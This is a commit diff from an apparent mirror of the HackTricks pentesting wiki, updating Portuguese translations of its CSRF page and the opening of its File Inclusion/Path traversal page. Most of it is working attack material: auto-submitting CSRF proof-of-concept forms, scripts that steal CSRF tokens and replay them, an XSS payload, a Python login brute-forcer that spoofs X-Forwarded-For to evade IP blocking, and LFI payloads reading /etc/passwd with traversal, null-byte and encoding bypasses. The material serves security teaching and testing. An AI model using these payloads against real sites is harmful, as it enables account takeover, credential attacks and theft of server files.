mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/sql-injection/README.md', 'src/pente
This commit is contained in:
parent
8162eb875e
commit
1e9450f7b6
@ -2,85 +2,113 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) Explicado
|
||||
## Cross-Site Request Forgery (CSRF) Explained
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona requisições para a conta da vítima através de métodos como executar JavaScript, enviar formulários ou buscar imagens.
|
||||
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma da vítima, visita um site malicioso. Esse site então dispara requisições para a conta da vítima por meio de métodos como executar JavaScript, submeter formulários ou carregar imagens.
|
||||
|
||||
### Pré-requisitos para um Ataque CSRF
|
||||
### Prerequisites for a CSRF Attack
|
||||
|
||||
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
|
||||
|
||||
1. **Identificar uma Ação Valiosa**: O atacante precisa encontrar uma ação que vale a pena explorar, como mudar a senha do usuário, email ou elevar privilégios.
|
||||
2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente através de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para esse propósito.
|
||||
3. **Ausência de Parâmetros Imprevisíveis**: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
|
||||
1. **Identify a Valuable Action**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, o email ou elevar privilégios.
|
||||
2. **Session Management**: A sessão do usuário deve ser gerida exclusivamente através de cookies ou do HTTP Basic Authentication header, pois outros headers não podem ser manipulados para esse propósito.
|
||||
3. **Absence of Unpredictable Parameters**: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
|
||||
|
||||
### Verificação Rápida
|
||||
### Quick Check
|
||||
|
||||
Você pode **capturar a requisição no Burp** e verificar as proteções CSRF e para testar do navegador você pode clicar em **Copiar como fetch** e verificar a requisição:
|
||||
Você pode **capturar a requisição no Burp** e checar as proteções CSRF e, para testar a partir do navegador, você pode clicar em **Copy as fetch** e verificar a requisição:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defendendo Contra CSRF
|
||||
### Defending Against CSRF
|
||||
|
||||
Várias contramedidas podem ser implementadas para proteger contra ataques CSRF:
|
||||
Diversas contramedidas podem ser implementadas para proteger contra ataques CSRF:
|
||||
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Este atributo impede que o navegador envie cookies junto com requisições de outros sites. [Mais sobre cookies SameSite](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer a leitura da resposta do site da vítima. [Saiba mais sobre bypass CORS](cors-bypass.md).
|
||||
- **Verificação do Usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
|
||||
- **Verificando Cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as requisições estão vindo de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como:
|
||||
- Usar `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
|
||||
- Usar `http://example.com.mal.net` (URL começa com a URL confiável)
|
||||
- **Modificando Nomes de Parâmetros**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
|
||||
- **Tokens CSRF**: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada pela imposição de CORS.
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Esse atributo impede que o navegador envie cookies junto com requisições cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer leitura da resposta do site da vítima. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **Verificação do usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
|
||||
- **Verificar os cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as requisições vêm de fontes confiáveis. Entretanto, a construção cuidadosa de URLs pode contornar verificações mal implementadas, por exemplo:
|
||||
- Usando `http://mal.net?orig=http://example.com` (a URL termina com a URL confiável)
|
||||
- Usando `http://example.com.mal.net` (a URL começa com a URL confiável)
|
||||
- **Modificar nomes de parâmetros**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
|
||||
- **CSRF Tokens**: Incorporar um CSRF token único em cada sessão e exigir esse token nas requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada aplicando CORS.
|
||||
|
||||
Compreender e implementar essas defesas é crucial para manter a segurança e integridade das aplicações web.
|
||||
Entender e implementar essas defesas é crucial para manter a segurança e integridade das aplicações web.
|
||||
|
||||
## Contorno de Defesas
|
||||
## Defences Bypass
|
||||
|
||||
### De POST para GET
|
||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
Talvez o formulário que você deseja abusar esteja preparado para enviar uma **requisição POST com um token CSRF, mas**, você deve **verificar** se um **GET** também é **válido** e se quando você envia uma requisição GET o **token CSRF ainda está sendo validado**.
|
||||
Algumas aplicações aplicam validação CSRF apenas em POST enquanto a ignoram para outros verbs. Um anti-pattern comum em PHP se parece com:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
Se o endpoint vulnerável também aceita parâmetros de $_REQUEST, você pode reenviar a mesma ação como uma requisição GET e omitir o token CSRF por completo. Isso converte uma ação POST-only em uma ação GET que tem sucesso sem um token.
|
||||
|
||||
Exemplo:
|
||||
|
||||
- Original POST with token (intended):
|
||||
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
- Bypass by switching to GET (no token):
|
||||
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Notas:
|
||||
- Esse padrão aparece frequentemente junto com reflected XSS quando as respostas são servidas incorretamente como text/html em vez de application/json.
|
||||
- Combinar isso com XSS reduz muito as barreiras de exploração porque você pode entregar um único link GET que tanto aciona o caminho de código vulnerável quanto evita completamente as checagens CSRF.
|
||||
|
||||
### Falta de token
|
||||
|
||||
As aplicações podem implementar um mecanismo para **validar tokens** quando eles estão presentes. No entanto, uma vulnerabilidade surge se a validação for completamente ignorada quando o token está ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e conduzam um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
|
||||
Aplicações podem implementar um mecanismo para **validar tokens** quando estes estão presentes. No entanto, surge uma vulnerabilidade se a validação for completamente ignorada quando o token está ausente. Um atacante pode explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite contornar o processo de validação e conduzir um Cross-Site Request Forgery (CSRF) de forma eficaz.
|
||||
|
||||
### Token CSRF não está vinculado à sessão do usuário
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
Aplicações **que não vinculam tokens CSRF às sessões de usuário** apresentam um **risco de segurança** significativo. Esses sistemas verificam tokens contra um **pool global** em vez de garantir que cada token esteja vinculado à sessão iniciadora.
|
||||
Aplicações que **não vinculam tokens CSRF às sessões dos usuários** apresentam um **risco de segurança** significativo. Esses sistemas verificam tokens contra uma **pool global** em vez de garantir que cada token esteja ligado à sessão que o originou.
|
||||
|
||||
Veja como os atacantes exploram isso:
|
||||
Veja como atacantes exploram isso:
|
||||
|
||||
1. **Autenticar** usando sua própria conta.
|
||||
2. **Obter um token CSRF válido** do pool global.
|
||||
3. **Usar esse token** em um ataque CSRF contra uma vítima.
|
||||
2. **Obter um token CSRF válido** da pool global.
|
||||
3. **Usar esse token** em um ataque CSRF contra a vítima.
|
||||
|
||||
Essa vulnerabilidade permite que os atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação.
|
||||
Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo inadequado de validação de tokens** da aplicação.
|
||||
|
||||
### Contorno de Método
|
||||
### Method bypass
|
||||
|
||||
Se a requisição estiver usando um "**método estranho**", verifique se a **funcionalidade de substituição de método** está funcionando. Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Se a requisição estiver usando um **método "estranho"**, verifique se a **funcionalidade de override de método** está funcionando. Por exemplo, se estiver **usando um PUT** você pode tentar **usar um POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requisição POST** ou usando os **cabeçalhos**:
|
||||
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requisição POST** ou usando os **headers**:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
|
||||
### Contorno de Token de Cabeçalho Personalizado
|
||||
### Custom header token bypass
|
||||
|
||||
Se a requisição estiver adicionando um **cabeçalho personalizado** com um **token** à requisição como **método de proteção CSRF**, então:
|
||||
Se a requisição estiver adicionando um **header customizado** com um **token** como **método de proteção CSRF**, então:
|
||||
|
||||
- Teste a requisição sem o **Token Personalizado e também o cabeçalho.**
|
||||
- Teste a requisição com o **mesmo comprimento exato, mas um token diferente**.
|
||||
- Teste a requisição sem o **Token Customizado e também sem o header.**
|
||||
- Teste a requisição com um token diferente, de **mesmo comprimento**.
|
||||
|
||||
### Token CSRF é verificado por um cookie
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
As aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de requisição ou configurando um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida requisições verificando se o token no parâmetro de requisição alinha-se com o valor no cookie.
|
||||
Aplicações podem implementar proteção CSRF duplicando o token tanto em um cookie quanto em um parâmetro de requisição, ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida requisições checando se o token no parâmetro da requisição coincide com o valor do cookie.
|
||||
|
||||
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida pela iniciação do ataque CSRF.
|
||||
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida de iniciar o ataque CSRF.
|
||||
|
||||
Abaixo está um exemplo de como um ataque poderia ser estruturado:
|
||||
Abaixo está um exemplo de como um ataque pode ser estruturado:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> Note que se o **token csrf estiver relacionado com o cookie de sessão, este ataque não funcionará** porque você precisará definir a sessão da vítima, e, portanto, estará atacando a si mesmo.
|
||||
> Observe que se o **csrf token estiver relacionado com a session cookie este ataque não funcionará** porque você precisará definir para a vítima a sua session, e portanto estará atacando a si mesmo.
|
||||
|
||||
### Mudança de Content-Type
|
||||
### Alteração do Content-Type
|
||||
|
||||
De acordo com [**isso**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar** requisições **preflight** usando o método **POST**, estes são os valores de Content-Type permitidos:
|
||||
De acordo com [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **avoid preflight** requisições usando o método **POST** estes são os valores de Content-Type permitidos:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
No entanto, note que a **lógica do servidor pode variar** dependendo do **Content-Type** utilizado, então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
No entanto, note que a **lógica do servidor pode variar** dependendo do **Content-Type** usado então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Exemplo (de [aqui](https://brycec.me/posts/corctf_2021_challenges)) de envio de dados JSON como text/plain:
|
||||
Exemplo (de [here](https://brycec.me/posts/corctf_2021_challenges)) de enviar dados JSON como text/plain:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -134,32 +162,32 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Bypassando Requisições Preflight para Dados JSON
|
||||
### Contornando requisições preflight para dados JSON
|
||||
|
||||
Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma requisição preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
|
||||
Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma requisição preflight. Ainda assim, existem estratégias para possivelmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
|
||||
|
||||
1. **Usar Tipos de Conteúdo Alternativos**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no formulário. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type.
|
||||
2. **Modificar o Tipo de Conteúdo**: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não aciona uma requisição preflight, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar `application/json`.
|
||||
3. **Utilização de Arquivo SWF Flash**: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar tais restrições. Para uma compreensão mais profunda dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
1. **Use Alternative Content Types**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no form. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type.
|
||||
2. **Modify Content Type**: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não dispara uma requisição preflight, mas pode ser processado corretamente pelo servidor se ele estiver configurado para aceitar `application/json`.
|
||||
3. **SWF Flash File Utilization**: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar essas restrições. Para um entendimento mais aprofundado dessa técnica, consulte [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Bypass de verificação de Referer / Origem
|
||||
### Contorno da verificação Referrer / Origin
|
||||
|
||||
**Evitar o cabeçalho Referer**
|
||||
**Evitar o cabeçalho Referrer**
|
||||
|
||||
Aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie esse cabeçalho, a seguinte tag meta HTML pode ser usada:
|
||||
Aplicações podem validar o 'Referer' header apenas quando ele está presente. Para impedir que o navegador envie esse header, a seguinte meta tag HTML pode ser usada:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.
|
||||
|
||||
**Contornos de Regexp**
|
||||
**Regexp bypasses**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Para definir o nome do domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
|
||||
Para definir o nome de domínio do servidor no URL que o Referrer vai enviar dentro dos parâmetros você pode fazer:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -190,15 +218,15 @@ document.forms[0].submit()
|
||||
```
|
||||
### **Bypass do método HEAD**
|
||||
|
||||
A primeira parte de [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que o [código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador, está configurado para **tratar requisições HEAD como requisições GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com requisições HEAD, elas são simplesmente **dadas ao manipulador GET, mas o aplicativo apenas remove o corpo da resposta**.
|
||||
A primeira parte de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que o [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), um router, está configurado para **handle HEAD requests as GET requests** sem corpo de resposta — uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lide com requisições HEAD, elas são simplesmente entregues ao manipulador GET, mas a aplicação apenas remove o corpo da resposta.
|
||||
|
||||
Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**.
|
||||
|
||||
## **Exemplos de Exploração**
|
||||
|
||||
### **Exfiltrando o Token CSRF**
|
||||
### **Exfiltrando token CSRF**
|
||||
|
||||
Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Markup Pendente**](dangling-markup-html-scriptless-injection/index.html).
|
||||
Se um **CSRF token** está sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou de uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### **GET usando tags HTML**
|
||||
```xml
|
||||
@ -206,7 +234,7 @@ Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **ex
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
Outros tags HTML5 que podem ser usados para enviar automaticamente uma solicitação GET são:
|
||||
Outras tags HTML5 que podem ser usadas para enviar automaticamente uma requisição GET são:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
@ -235,7 +263,7 @@ background: url("...");
|
||||
</video>
|
||||
</audio>
|
||||
```
|
||||
### Formulário de solicitação GET
|
||||
### Requisição GET via formulário
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
@ -253,7 +281,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Solicitação POST de formulário
|
||||
### Requisição POST de formulário
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -281,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Solicitação POST de formulário através de iframe
|
||||
### Requisição POST de formulário através de iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -304,7 +332,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Requisição POST Ajax**
|
||||
### **Requisição Ajax POST**
|
||||
```html
|
||||
<script>
|
||||
var xh
|
||||
@ -333,7 +361,7 @@ data: "param=value¶m2=value2",
|
||||
})
|
||||
</script>
|
||||
```
|
||||
### multipart/form-data solicitação POST
|
||||
### Requisição POST multipart/form-data
|
||||
```javascript
|
||||
myFormData = new FormData()
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
||||
@ -346,7 +374,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
mode: "no-cors",
|
||||
})
|
||||
```
|
||||
### multipart/form-data POST request v2
|
||||
### multipart/form-data POST requisição v2
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
@ -374,7 +402,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### Enviar requisição POST de dentro de um iframe
|
||||
### Requisição POST de formulário dentro de um iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -398,7 +426,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **Roubar o Token CSRF e enviar uma solicitação POST**
|
||||
### **Roubar CSRF Token e enviar uma requisição POST**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -445,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax**
|
||||
### **Roubar CSRF Token e enviar uma requisição Post usando um iframe, um form e Ajax**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -473,7 +501,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário**
|
||||
### **Roubar CSRF Token e enviar uma POST request usando um iframe e um form**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -536,7 +564,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTRoubar o token CSRF com Ajax e enviar um post com um formulário**
|
||||
### **POSTSteal CSRF token com Ajax e enviar um post com um form**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -589,7 +617,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
O código pode ser usado para forçar um formulário de login usando um token CSRF (também está usando o cabeçalho X-Forwarded-For para tentar contornar um possível bloqueio de IP):
|
||||
O código pode ser usado para Brut Force um formulário de login usando um CSRF token (também está usando o header X-Forwarded-For para tentar contornar um possível IP blacklisting):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -644,7 +672,6 @@ login(USER, line.strip())
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,61 +1,61 @@
|
||||
# Inclusão de Arquivos/Travessia de Caminho
|
||||
# File Inclusion/Path traversal
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Inclusão de Arquivos
|
||||
## File Inclusion
|
||||
|
||||
**Inclusão de Arquivos Remota (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). No php isso está **desativado** por padrão (**allow_url_include**).\
|
||||
**Inclusão de Arquivos Local (LFI):** O servidor carrega um arquivo local.
|
||||
**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isto é **desabilitado** por padrão (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** O servidor carrega um arquivo local.
|
||||
|
||||
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.
|
||||
A vulnerabilidade ocorre quando o usuário pode, de alguma forma, controlar o arquivo que será carregado pelo servidor.
|
||||
|
||||
Funções **PHP vulneráveis**: require, require_once, include, include_once
|
||||
Vulnerable **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interessante - arquivos LFI2RCE
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Misturando várias listas de LFI \*nix e adicionando mais caminhos, criei esta:**
|
||||
**Misturando várias \*nix listas de LFI e adicionando mais caminhos, criei esta:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Tente também mudar `/` para `\`\
|
||||
Tente também trocar `/` por `\`\
|
||||
Tente também adicionar `../../../../../`
|
||||
|
||||
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
A lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Mescla de diferentes listas de palavras:
|
||||
Mescla de diferentes wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Tente também mudar `/` para `\`\
|
||||
Tente também trocar `/` por `\`\
|
||||
Tente também remover `C:/` e adicionar `../../../../../`
|
||||
|
||||
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
A lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Verifique a lista de LFI do linux.
|
||||
Confira a lista de LFI do Linux.
|
||||
|
||||
## LFI básico e contornos
|
||||
## Basic LFI and bypasses
|
||||
|
||||
Todos os exemplos são para Inclusão de Arquivo Local, mas também podem ser aplicados à Inclusão de Arquivo Remoto (página=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Todos os exemplos são para Local File Inclusion mas poderiam ser aplicados também a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### sequências de travessia removidas não recursivamente
|
||||
### traversal sequências removidas não recursivamente
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Bypass o acréscimo de mais caracteres no final da string fornecida (bypass de: $\_GET\['param']."php")
|
||||
Bypass para evitar que sejam acrescentados mais caracteres ao final da string fornecida (bypass de: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Isso está **resolvido desde o PHP 5.4**
|
||||
Isto está **resolvido desde o PHP 5.4**
|
||||
|
||||
### **Codificação**
|
||||
|
||||
Você pode usar codificações não padrão, como codificação dupla de URL (e outras):
|
||||
Você pode usar codificações não padrão, como double URL encode (e outras):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
